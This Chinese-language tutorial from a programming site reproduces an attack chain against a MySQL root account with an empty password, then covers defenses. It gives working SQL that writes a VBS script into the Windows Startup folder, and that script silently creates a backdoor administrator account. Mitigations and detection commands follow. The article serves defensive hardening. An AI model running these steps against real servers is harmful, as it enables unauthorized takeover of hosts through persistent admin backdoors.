首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 空密碼 Root 遠程代碼執行 (RCE) 攻擊鏈深度復現與防禦

     編輯:MySQL 資料庫相關知識

⚠️ 僅供安全研究與防禦加固,嚴禁用於非授權測試

本文復現經典「MySQL Root 空密碼 + INTO OUTFILE 寫入啟動項 VBS 腳本」攻擊鏈,分析每一環利用條件與緩解措施。

攻擊前提 (缺一不可)

  1. MySQL 綁定 0.0.0.0:3306 對公網/內網開放。
  2. root@'%' 或 root@'攻擊者IP' 存在且**密碼為空**。
  3. 攻擊者擁有 FILE 權限 (Root 默認擁有)。
  4. 目標為 **Windows**,且 MySQL 服務帳號對啟動目錄有寫入權限 (通常為 SYSTEM/Administrator)。
  5. secure_file_priv 未設置或包含啟動目錄路徑 (舊版本默認空)。

攻擊步驟復現


-- 1. 連線
mysql -u root -h 192.168.0.100

-- 2. 建表
USE test;
CREATE TABLE a (cmd TEXT);

-- 3. 注入 VBS 腳本 (建立用戶並加入管理員組)
INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add", 0)');
INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators hacker /add", 0)');

-- 4. 導出至啟動目錄 (需繞過路徑長度/中文限制)
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\evil.vbs";
-- 現代 Windows: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\evil.vbs

攻擊生效機制

  • 下次管理員登入 Windows,啟動項自動執行 evil.vbs,隱藏窗口 (Run(..., 0)) 創建後門賬號。
  • 攻擊者隨後可通過 RDP/PSRemoting 登入完全控制主機。

緩解與防禦矩陣

層面措施有效性
認證強制 root 設置高強度密碼🛡️ 根治
禁止 root 遠程登入 (bind-address=127.0.0.1 + skip-networking 或防火牆)🛡️ 根治
刪除/重命名 root,改用專用低權限運維帳號🛡️ 深度防禦
授權回收非必要帳號 FILE 權限🛡️ 斷鏈
設置 secure_file_priv=/var/lib/mysql-files/ 限制導出目錄🛡️ 斷鏈
啟用 local_infile=OFF 禁用 LOAD DATA LOCAL🛡️ 輔助
系統MySQL 服務以專用低權限用戶運行 (非 SYSTEM/Administrator)🛡️ 限制影響面
啟動目錄 ACL 僅允許 Administrators/TrustedInstaller 寫入🛡️ 斷鏈
部署 EDR/防病毒監控啟動目錄寫入行為🛡️ 事後檢測
網絡3306 僅對應用服務器 IP 開放 (安全組/iptables)🛡️ 根治

檢測腳本 (納入基線掃描)


# 檢查空密碼 root 遠程帳號
mysql -NBe "SELECT User,Host FROM mysql.user WHERE User='root' AND (Host='%' OR Host NOT IN ('localhost','127.0.0.1','::1')) AND (Password='' OR authentication_string='');"

# 檢查 secure_file_priv
mysql -NBe "SHOW VARIABLES LIKE 'secure_file_priv';"

# 檢查啟動目錄可寫權限 (Windows)
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" | findstr "(M)"  # 普通用戶可寫即風險

總結

此攻擊鏈看似「古老」,實則每年仍有暴露在公網的舊版 MySQL 實例中招。**「強密碼、禁遠程、最小權限、目錄隔離」** 四大鐵律若落實到位,攻擊鏈在第一環即斷裂。安全無小事,基線配置必須自動化、持續化驗證。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved